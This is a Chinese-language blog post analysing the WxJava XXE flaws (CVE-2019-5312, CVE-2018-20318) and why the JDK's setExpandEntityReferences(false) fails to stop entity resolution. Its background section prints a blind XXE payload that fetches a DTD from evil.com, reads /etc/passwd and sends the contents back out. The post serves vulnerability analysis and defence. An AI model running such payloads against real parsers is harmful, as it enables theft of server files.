修不好的洞,JDK的坑——從WxJava XXE注入漏洞中發現了一個對JDK的誤會
事情緣起
前些日,開源社群流行的微信Java SDK爆出XXE注入漏洞,漏洞編號為: CVE-2019-5312 。在我分析漏洞時發現這個漏洞源自於一個未修好的漏洞: CVE-2018-20318 。在做這兩個漏洞的補丁commit diff的時候發現CVE-2018-20318的修復方案是在建立DocumentBuilderFactory例項後對其做了 factory.setExpandEntityReferences(false)
的設定。CVE-2019-5312中又在下面增加了 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
的設定。這引起了我的好奇,深挖了一下,發現整個事情還比較有趣,於是想整理下,分享給大家。
啥是XXE注入
既然是有關XXE注入的漏洞,那麼想讀懂這篇文章就需要對XXE注入漏洞有所瞭解。在這裡我推薦閱讀 @gyyyy
大佬的文章: 《XXE注入漏洞概述》 ,文章中非常詳細的介紹了XXE注入的基礎知識、漏洞原理、挖掘思路、利用方式等等。我在本文中簡單帶過一下原理。
XML外部實體注入 (XML External Entity Injection) 是一種針對解析XML文件的應用程式的注入型別攻擊。當惡意使用者在提交一個精心構造的包含外部實體引用的XML文件給未正確配置的XML解析器處理時,該攻擊就會發生。XXE注入可能造成敏感資訊洩露、拒絕服務、SSRF、命令執行等危害。
XML實體又分為內部實體和外部實體,宣告方式如下:
<!ENTITY name "value">
<!ENTITY name SYSTEM "URI"> <!ENTITY name PUBLIC "PUBLIC_ID" "URI">
外部實體宣告中,分為 SYSTEM
和 PUBLIC
,前者表示私有資源 (但不一定是本機) ,後者表示公共資源。實體宣告之後就可以在文字中進行引用了:
<foo>&xxe;</foo>
XXE注入較為常見的利用方式是基於OOB的任意檔案讀取 (盲注) ,利用方式如下:
<?xmlversion="1.0"encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxeSYSTEM "http://evil.com/xxeoobdetector.xml"> %xxe; ]> <foo/>
xxeoobdetector.xml
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % def "<!ENTITY % send SYSTEM 'http://evil.com/?data=%file;'>"> %def; %send;
更多內容也可以參考 XML_External_Entity_(XXE)_Processing 。
XXE注入漏洞簡要分析
可以看到作者使用的是JDK自帶的XML解析器。在建立 DocumentBuilderFactory
類的例項之後進行了 setFeature
禁用DTD文件。
然後仿造issue中的描述初始化 WxPayOrderQueryResult
類例項,通過其父類的 setXmlString()
方法設定 xmlString
,然後呼叫此類例項的 toMap()
方法將xml文件轉換為Map。在此呼叫了此類的 getXmlDoc()
方法。

進入 getXmlDoc()
方法中發現此處已經對 DocumentBuilderFactory
例項進行了 setExpandEntityReferences()
的設定,但經過測試,這裡依然可以解析DTD文件和外部實體,觸發漏洞。
節外生枝
本來這個漏洞分析到這裡就可以結束了,但我看到了這個漏洞關聯另一個issue: issue#889 ,發現其對應漏洞CVE-2018-20318,再次進行 commit diff 對比:

DocumentBuilderFactory
例項沒有進行任何設定,直接解析XML文件。那麼問題來了,為什麼作者加上 factory.setExpandEntityReferences(false)
的設定漏洞仍然存在?是 factory.setExpandEntityReferences(false)
沒有生效嗎?作為開發出身的我,第一反應是查這段程式碼的註釋和官方文件,開發過程中我們應該永遠最相信官方的文件。
直接跟進這個方法定義的位置:
從程式碼註釋翻譯過來大概是 指定此程式碼生成的解析器將擴充套件實體引用節點。 預設情況下,此值為 true
,如果引數為 true
,解析器將擴充套件實體引用節點,否則設定為 false
。 官方文件 的解釋與其一致,不再展示。
那麼從這短短的一句話上分析, setExpandEntityReferences()
方法引數為 true
的時候,解析器會擴充套件外部實體,為 false
的時候不擴充套件,好像沒毛病。我如果是開發看到了文件給出的解釋也會這樣改,那麼問題到底在哪裡?
尋坑之路
通過搜尋發現,和我有同樣疑問的人其實不少,首先我看到了兩封疑似郵件記錄的東西,第一封主題為 Disabling XML External Entites ,這個人恰好是想解決安全問題禁止外部實體解析,但發現了通過 setExpandEntityReferences()
並不能阻止XXE注入攻擊,於是郵件提問,得到的回覆如下:

CVE-2014-0191 libxml2: external parameter entity
loaded when entity substitution is disabled這個人貌似是想寫一篇全面的關於XXE注入的論文,但是它遇到了同樣的問題,且提到了官方的描述非常的簡短。他得到的回覆如下:

在這個回覆中甚至提到了OWASP的文件中都是需要更新和維護的。OWASP以前的文件不可考察了,現在OWASP中針對XXE注入防護的Java部分是這樣的:
這裡依然提到了 setExpandEntityReferences()
,並且提到了一篇2014年的論文 (好像和剛才發郵件的不是一個人:-D) 於是我又將 論文 翻出來,論文中提到的有關內容如下:

setExpandEntityReferences(false)
和實體的解析是不衝突的, setExpandEntityReferences()
只告訴DocumentBuilder它是否應該在tree中包含EntityReference節點。
Method setExpandEntityReferences of Object DocumentBuilderFactory has no effects
, DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false) ,兩個BUG提交後得到了同樣的回覆:這不是問題!其中在第二個BUG的回覆中詳細解釋了引數設定為true
和 false
對應的意義:
setExpandEntityReferences = true表示展開或“解析”實體引用,即沒有EntityReference節點。
setExpandEntityReferences = false,將指示解析器將EntityReference節點保留在DOM樹中。 挖到這裡,我大致明白了這個方法的作用, 此方法作於XML解析後生成的文件。設定為 true
則展開實體引用到生成的文件中替換掉 &xx
的實體引用宣告,設定為 false
則保留實體引用宣告的DOM樹在生成的文件中 。
聽起來還是有點繞?下面我通過一個例子來解釋下上面那句話。
假如有XML文件如下:<!DOCTYPE foo [ <!ENTITY xxe "test"> ]> <document> <title>&xxe;</title> </document>
測試程式碼:
import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.EntityReference; import org.w3c.dom.NodeList; import javax.xml.parsers.DocumentBuilderFactory; import java.io.ByteArrayInputStream; public class Test { public static void main(String[] args) { String xmlStr= "<!DOCTYPE foo [\n" + "<!ENTITY xxe \"test\">\n" + "]>\n" + "<document> \n" + "<title>&xxe;</title> \n" + "</document> "; Document doc= getXmlDoc(xmlStr); Element e = (Element) doc.getElementsByTagName("title").item(0); final NodeList nl = e.getChildNodes(); System.out.println("nl.item(0) instanceof EntityReference):" + (nl.item(0) instanceof EntityReference)); System.out.println("nl.getLength():" + nl.getLength()); } public static Document getXmlDoc(String xmlString) { try { final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); // Comment the code below to see the effect factory.setExpandEntityReferences(false); Document xmlDoc = factory.newDocumentBuilder() .parse(new ByteArrayInputStream(xmlString.getBytes("UTF-8"))); return xmlDoc; } catch (Exception e) { throw new RuntimeException(e); } } }
設定 setExpandEntityReferences(true)
,觀察變數 nl
的結構:

注意此時 nl
的長度為1,此時文件結構大致如下:
+- document +- title |+- #text:test
輸出如下:
設定 setExpandEntityReferences(false)
,觀察變數 nl
的結構:

我們發現,此時的 nl
的長度為2, nl.item(0)
是一個name為 xxe
的 EntityReference
節點,它還有個兄弟節點,值為 test
。此時文件結構大致如下:
+- document +- title |+- xxe |+- #text:test
輸出如下:
上面的例子證明了,無論如何設定 setExpandEntityReferences()
,外部文件都是已經解析完了的。因此無法防護XXE注入。
不過官方文件描述過於簡單,實時也證明了通過官方文件對 setExpandEntityReferences()
的解釋真的容易產生歧義。因此在開發者修復漏洞的時候還是要參考OWASP給出的參考建議 (我甚至覺得OWASP建議中的 setExpandEntityReferences(false)
都應該註釋標明它不能防止XXE注入) ,不要太過於自信自己對文件的理解。修改後應及時測試。
官方認坑
DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false)
,不過神奇的地方來了,這次官網沒有用之前的話術草草回覆過去,而是接受了這個BUG!!就在兩天前(2019年1月29日), @Joe Wang
為其建立了名為 Change DOM parser to not resolve EntityReference and add Text node with DocumentBuilderFactory.setExpandEntityReferences(false) 的任務,並且在任務描述中明確了當 ExpandEntityReferences
設定為 false
時,DOM解析器不再讀取和解析任何實體引用。對於打算避免解析實體引用的應用程式,這樣的設定將會按照預期工作。
setExpandEntityReferences(false)
來解決XXE注入的問題了。不過現在這個任務的狀態還是 NEW
,我會繼續跟進它。